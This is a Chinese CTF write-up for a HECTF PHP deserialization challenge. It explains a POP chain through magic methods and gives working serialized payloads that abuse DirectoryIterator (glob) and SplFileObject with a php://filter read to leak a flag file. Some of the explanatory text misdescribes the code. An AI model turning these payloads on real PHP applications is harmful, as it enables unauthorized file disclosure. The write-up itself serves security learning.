原生类相关题目

Welcome to HECTF Have fun!!!
";
    }

    public function __wakeup(){
        if(isset($this->file->var)){
            $this->file = "flag.php";
        }
        else{
            $this->file = "index.php";
        }
    }
    public function __destruct(){
        highlight_file($this->file);
    }


}

class B{
    public $str;
    public $huang;
    public  function __isset($arg)
    {
        echo "难道我真的要失败了,吗".$this->str;

    }
    public function __call($fun1,$arg)
    {
      return $this->huang->str;

    }
}

class C{
    public $eee;
    public $aaa="who are you?";
    public $ccc;
    public function __toString()
    {
           $this->eee->flag();
    }
    public function __get($css)
    {
        $function = $this->ccc;
        return $function();
    }
}

class D{
     private $ddd;
     private $ext;

     public function flag(){
         $this->ext->nisa($this->ddd);
     }

     public function __invoke()
     {
         echo new $this->ddd($this->ext);
     }

}
$gagaga = new A();
unserialize(serialize($gagaga));


$data = $_POST['data'];
unserialize($data);  

这段代码是一个简单的PHP反序列化示例。让我逐步解释每个类的作用和代码逻辑。

1. 类A: 该类具有以下功能:
   - 构造函数 `__construct`:向用户输出欢迎消息。
   - `__wakeup` 方法:在反序列化过程中被调用,根据成员变量 `$file` 的存在与否,确定要加载的文件。
   - `__destruct` 方法:在对象销毁时被调用,用于输出成员变量 `$file` 所指向文件的代码。

2. 类B: 该类具有以下功能:
   - `__isset` 方法:在对不存在的属性进行 isset 调用时被调用,向用户输出一条消息。
   - `__call` 方法:在对不存在的方法进行调用时被调用,返回成员变量 `$huang` 的值。

3. 类C: 该类具有以下功能:
   - `__toString` 方法:在将对象作为字符串使用时被调用,调用成员变量 `$eee` 的 `flag` 方法。
   - `__get` 方法:在获取不存在的属性时被调用,调用成员变量 `$ccc` 所指向的方法。

4. 类D: 该类具有以下功能:
   - `flag` 方法:调用 `$ext` 对象的 `nisa` 方法,并传递成员变量 `$ddd` 的值作为参数。
   - `__invoke` 方法:将对象作为函数调用时被调用,创建一个新的 `$ddd` 对象,并传递成员变量 `$ext` 作为参数。

在代码的最后,创建了一个类A的实例 `$gagaga`,并对其进行了序列化和反序列化操作。

在反序列化过程中,接受了用户通过 POST 请求传递的序列化数据 `$data`,然后对其进行了反序列化操作。

通过分析代码,可以看出存在一些安全问题。首先,在 `__wakeup` 和 `__destruct` 方法中,根据用户传递的数据修改 `$file` 的值会导致加载不同的文件,可能导致代码执行不受控制。其次,在类B的 `__call` 方法中,存在访问成员变量 `$huang` 的逻辑,但没有初始化 `$huang` 对象,可能导致访问未定义的属性。最后,在类C的 `__toString` 方法中,调用了成员变量 `$eee` 的 `flag` 方法,但没有初始化 `$eee` 对象,可能导致调用未定义的方法。

建议在使用反序列化功能时,对用户传递的数据进行验证和过滤,确保安全性。

找了一圈没有可以利用的例如echo,eval等... 但有一个

echo new $this->ddd($this->ext);

 很明显有一个原生类利用

unserialize会调用wakeup ,wakeup里有isset,会调用B.__isset会执行echo,调用C.toString会调用flag(),flag()方法不存在会调用B.__call,retrun str属性 属性不存在调用C.__get(),function()类当做方法使用会调用__invoke(),invoke里边 是echo new $a($b)的形式 ,可以触发反序列化原生类

 读取文件的话一般就用SplFileObject但这个函数必须知道文件名是什么,可以用DirectoryIterator类读取到flag的文件名为ffflllllaaaaaaggggg.txt,之后用SplFileObject来读取,但只能读取一行,可以用file伪协议来读取
 

原生类相关题目_第1张图片

file=new B();
$gagaga->file->str=new C();
$gagaga->file->str->eee=new B();
$gagaga->file->str->eee->huang=new C();
$gagaga->file->str->eee->huang->ccc=new D();
$gagaga->file->str->eee->huang->ccc->ddd ="DirectoryIterator";
$gagaga->file->str->eee->huang->ccc->ext ="glob:///f*";
echo (serialize($gagaga));

 O:1:"A":1:{s:4:"file";O:1:"B":2:{s:3:"str";O:1:"C":3:{s:3:"eee";O:1:"B":2:{s:3:"str";N;s:5:"huang";O:1:"C":3:{s:3:"eee";N;s:3:"aaa";N;s:3:"ccc";O:1:"D":2:{s:3:"ddd";s:17:"DirectoryIterator";s:3:"ext";s:10:"glob:///f*";}}}s:3:"aaa

";N;s:3:"ccc";N;}s:5:"huang";N;}}

原生类相关题目_第2张图片 

 得出文件名:ffflllllaaaaaaggggg.txt

file=new B();
$gagaga->file->str=new C();
$gagaga->file->str->eee=new B();
$gagaga->file->str->eee->huang=new C();
$gagaga->file->str->eee->huang->ccc=new D();
$gagaga->file->str->eee->huang->ccc->ddd ="SplFileObject";
$gagaga->file->str->eee->huang->ccc->ext ="php://filter/read=convert.base64-encode/resource=/ffflllllaaaaaaggggg.txt";
echo (serialize($gagaga));

O:1:"A":1:{s:4:"file";O:1:"B":2:{s:3:"str";O:1:"C":3:{s:3:"eee";O:1:"B":2:{s:3:"str";N;s:5:"huang";O:1:"C":3:{s:3:"eee";N;s:3:"aaa";N;s:3:"ccc";O:1:"D":2:{s:3:"ddd";s:13:"SplFileObject";s:3:"ext";s:73:"php://filter/read=convert.base64-encode/resource=/ffflllllaaaaaaggggg.txt";}}}s:3:"aaa";N;s:3:"ccc";N;}s:5:"huang";N;}}
 

原生类相关题目_第3张图片 

ZmxhZ3t1X2ZpbmRfbQ0KZWhhaGFoYX0= 

原生类相关题目_第4张图片

 

你可能感兴趣的:(网络安全)